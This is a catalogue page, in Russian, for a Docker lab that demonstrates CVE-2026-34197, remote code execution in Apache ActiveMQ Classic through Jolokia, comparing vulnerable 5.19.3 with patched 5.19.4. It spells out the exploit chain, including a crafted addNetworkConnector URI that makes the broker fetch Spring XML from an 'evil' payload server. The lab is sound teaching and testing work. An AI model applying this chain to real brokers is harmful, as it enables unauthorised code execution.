Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-34197-Lab — Docker-лаборатория, демонстрирующая CVE-2026-34197 — RCE в Apache ActiveMQ Classic через Jolokia. Включает безопасный детектор и локальный PoC с фиксированной командой, сравнивающий уязвимую и пропатченную версии. | Kitploit
Инструменты/GitHubGitHub/rootdirective-sec/cve-2026-34197-lab
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubrootdirective-sec/cve-2026-34197-lab

CVE-2026-34197-Lab

Docker-лаборатория, демонстрирующая CVE-2026-34197 — RCE в Apache ActiveMQ Classic через Jolokia. Включает безопасный детектор и локальный PoC с фиксированной командой, сравнивающий уязвимую и пропатченную версии.

Репозиторий
3 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-34197 — Лабораторный стенд RCE Apache ActiveMQ Classic Jolokia

Обзор

Этот репозиторий представляет собой локальный Docker-стенд для изучения CVE-2026-34197 — проблемы удалённого выполнения кода в Apache ActiveMQ Classic, доступной через Jolokia JMX-HTTP API.

Стенд сравнивает два экземпляра ActiveMQ Classic бок о бок:

СервисВерсияНазначениеURL
vuln5.19.3Уязвимая цельhttp://127.0.0.1:8081
patched5.19.4Сравнительная исправленная цельhttp://127.0.0.1:8082

Репозиторий содержит два proof-скрипта:

СкриптНазначениеМодель безопасности
poc/detect.pyАвторизованный детекторТолько HTTP; не эксплуатирует
poc/poc.pyЛокальное доказательство RCE-путиТолько фиксированная команда: id; whoami; sleep 5

Доказательства выполнения проверяются отдельно оператором с помощью инструментов наблюдения за процессами, таких как strace.


Сводка по уязвимости

CVE-2026-34197 затрагивает Apache ActiveMQ Classic в версиях, где аутентифицированный пользователь может использовать Jolokia API для вызова операций управления брокером и заставить JVM брокера загрузить управляемый атакующим Spring XML через специально сформированный URI brokerConfig=xbean:http://....

Уязвимый поток, демонстрируемый в этом стенде:

root@kitploit:~
Jolokia /api/jolokia/
  -> Операция MBean брокера
  -> addNetworkConnector(java.lang.String)
  -> static:(vm://...?brokerConfig=xbean:http://...)
  -> Удалённая загрузка Spring XML
  -> Инициализация бина ProcessBuilder
  -> Фиксированная локальная proof-команда

Исправленный сервис блокирует этот путь до загрузки XML и возвращает ошибку, похожую на:

root@kitploit:~
VM scheme is not allowed

Структура репозитория

root@kitploit:~
.
├── docker-compose.yml
├── vuln
│   └── Dockerfile
├── patched
│   └── Dockerfile
├── poc
│   ├── detect.py
│   └── poc.py
├── images
│   └── strace.png
├── README.md
└── .gitignore

Роли файлов

  • docker-compose.yml запускает уязвимый и исправленный сервисы ActiveMQ.
  • vuln/Dockerfile собирает Apache ActiveMQ Classic 5.19.3.
  • patched/Dockerfile собирает Apache ActiveMQ Classic 5.19.4.
  • poc/detect.py проверяет доступность Jolokia, версию ActiveMQ и видимость MBean брокера.
  • poc/poc.py запускает локальный RCE-путь с использованием фиксированной безвредной команды.
  • images/strace.png содержит локальные доказательства наблюдения за процессами с уязвимого сервиса.
  • .gitignore исключает локальные артефакты, кэш-файлы Python, виртуальные окружения, журналы и секреты.

Границы безопасности

Этот репозиторий предназначен только для локального лабораторного использования и авторизованной проверки безопасности.

PoC намеренно ограничен:

  • Он отказывается работать с нелокальными целями.
  • Он не принимает произвольные команды.
  • Он использует только фиксированную команду: id; whoami; sleep 5.
  • Он не собирает вывод команды через callback.
  • Он полагается на отдельное управляемое оператором наблюдение, такое как strace.

Разрешённые локальные цели для poc.py:

root@kitploit:~
127.0.0.1
localhost
::1

Не используйте этот репозиторий против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.


Настройка стенда

Сборка и запуск стенда

root@kitploit:~
docker compose down -v
docker compose build
docker compose up -d

Проверка статуса сервисов:

root@kitploit:~
docker compose ps

Ожидаемые сервисы:

root@kitploit:~
cve-2026-34197-vuln      Up / healthy
cve-2026-34197-patched   Up / healthy

Проверка конечных точек версии Jolokia

Проверка уязвимого сервиса:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8081' \
  http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool

Проверка исправленного сервиса:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8082' \
  http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool

Ожидаемые версии:

root@kitploit:~
8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4

Использование детектора

poc/detect.py — безопасный скрипт по умолчанию. Он не эксплуатирует цель.

Он проверяет:

  1. доступен ли /api/jolokia/version;
  2. требуется ли аутентификация;
  3. является ли продукт Apache ActiveMQ;
  4. версию ActiveMQ;
  5. виден ли MBean брокера через поиск Jolokia;
  6. попадает ли версия в затронутый диапазон.

Запуск детектора против обоих сервисов стенда

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests

python poc/detect.py \
  -t http://127.0.0.1:8081 \
  -t http://127.0.0.1:8082 \
  -u admin \
  -p admin \
  -v

Ожидаемый результат:

root@kitploit:~
http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE

http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE

Что считается уязвимым в детекторе?

Детектор помечает цель как LIKELY_VULNERABLE, когда:

root@kitploit:~
Jolokia доступен
+
Версия ActiveMQ попадает в затронутый диапазон

Затронутые диапазоны, используемые в этом стенде:

root@kitploit:~
5.x < 5.19.4
6.x < 6.2.3

Видимость MBean брокера используется как подтверждающее доказательство, поскольку путь эксплуатации relies на операции управления брокером.

Детектор не заявляет CONFIRMED_RCE.


Локальное доказательство RCE-пути

poc/poc.py демонстрирует RCE-путь в локальном Docker-стенде.

Он запускает временный HTTP-сервер на хосте и обслуживает Spring XML-полезную нагрузку по пути, уникальному для каждого запуска:

root@kitploit:~
/evil-<nonce>.xml

Затем он вызывает MBean брокера ActiveMQ через Jolokia:

root@kitploit:~
addNetworkConnector(java.lang.String)

с специально сформированным discovery URI:

root@kitploit:~
static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)

Уязвимый брокер загружает этот XML. Исправленный брокер блокирует транспортную схему vm:// до загрузки XML.

Важное поведение

После уязвимого запуска созданный NetworkConnector может повторять попытки загрузки старого XML-пути. Скрипт использует уникальный nonce для каждого запуска и отслеживает matches_current_run, чтобы избежать ложных срабатываний.

Попадание засчитывается только для текущего запуска, если оно соответствует:

root@kitploit:~
/evil-<current-nonce>.xml

Запуск PoC против уязвимого сервиса

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8081 \
  -u admin \
  -p admin

Ожидаемый вывод:

root@kitploit:~
[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true

Это подтверждает, что ActiveMQ 5.19.3 можно заставить загрузить управляемый атакующим Spring XML через управляемый Jolokia путь брокера.


Запуск PoC против исправленного сервиса

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8082 \
  -u admin \
  -p admin

Ожидаемый вывод:

root@kitploit:~
VM scheme is not allowed
[-] No XML fetch observed for this run.

Если появляются попадания от более старого уязвимого запуска, они должны показывать:

root@kitploit:~
"matches_current_run": false

Они не засчитываются как успех исправленного сервиса.


Подтверждение выполнения команды с помощью strace

PoC-скрипт не собирает вывод команды. Чтобы подтвердить выполнение команды, наблюдайте за созданием процессов внутри уязвимого контейнера.

Войдите в уязвимый контейнер от имени root:

root@kitploit:~
docker exec -it --user root cve-2026-34197-vuln bash

Найдите Java-процесс:

root@kitploit:~
pgrep -af java

Подключите strace к Java PID:

root@kitploit:~
strace -f -e execve -p <JAVA_PID>

В другом терминале запустите PoC против уязвимого сервиса:

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8081 \
  -u admin \
  -p admin

Ожидаемые доказательства от strace:

root@kitploit:~
execve("/bin/sh", ["/bin/sh", "-c", "id; whoami; sleep 5"], ...)
execve("/usr/bin/id", ["id"], ...)
execve("/usr/bin/whoami", ["whoami"], ...)
execve("/usr/bin/sleep", ["sleep", "5"], ...)

Это доказательства на уровне ОС того, что фиксированная proof-команда была выполнена JVM брокера.

Доказательства выполнения команды strace


Очистка между запусками

PoC пытается удалить имя NetworkConnector по умолчанию NC перед запуском. Это обеспечивает предсказуемость повторных лабораторных запусков.

Ручная очистка:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8081' \
  -H 'Content-Type: application/json' \
  -X POST \
  http://127.0.0.1:8081/api/jolokia/ \
  -d '{
    "type": "exec",
    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
    "operation": "removeNetworkConnector(java.lang.String)",
    "arguments": ["NC"]
  }' | python3 -m json.tool

Или перезапустите стенд:

root@kitploit:~
docker compose restart vuln patched

Ожидаемые результаты стенда

ТестУязвимая 5.19.3Исправленная 5.19.4
detect.pyLIKELY_VULNERABLENOT_AFFECTED_BY_VERSION
Доступ к JolokiaДоступен с аутентификациейДоступен с аутентификацией
MBean брокераВиденВиден
Загрузка XML в poc.pyДаНет
Сигнатура блокировкиН/ДVM scheme is not allowed
Доказательства команды через strace/bin/sh -c 'id; whoami; sleep 5'Не ожидается

Ссылки

  • Apache ActiveMQ Security Advisory — CVE-2026-34197: https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
  • NVD — CVE-2026-34197: https://nvd.nist.gov/vuln/detail/CVE-2026-34197
  • CVE.org — запись CVE-2026-34197: https://www.cve.org/CVERecord?id=CVE-2026-34197
  • GitHub Advisory Database — GHSA-rxpj-7qvf-xv32: https://github.com/advisories/GHSA-rxpj-7qvf-xv32
  • Horizon3.ai — CVE-2026-34197 ActiveMQ RCE via Jolokia API: https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
  • Документация Apache ActiveMQ Classic — Networks of Brokers: https://activemq.apache.org/components/classic/documentation/networks-of-brokers
  • Документация API Apache ActiveMQ Classic JMX BrokerView: https://activemq.apache.org/components/classic/documentation/maven/apidocs/org/apache/activemq/broker/jmx/BrokerView.html
Скачать инструмент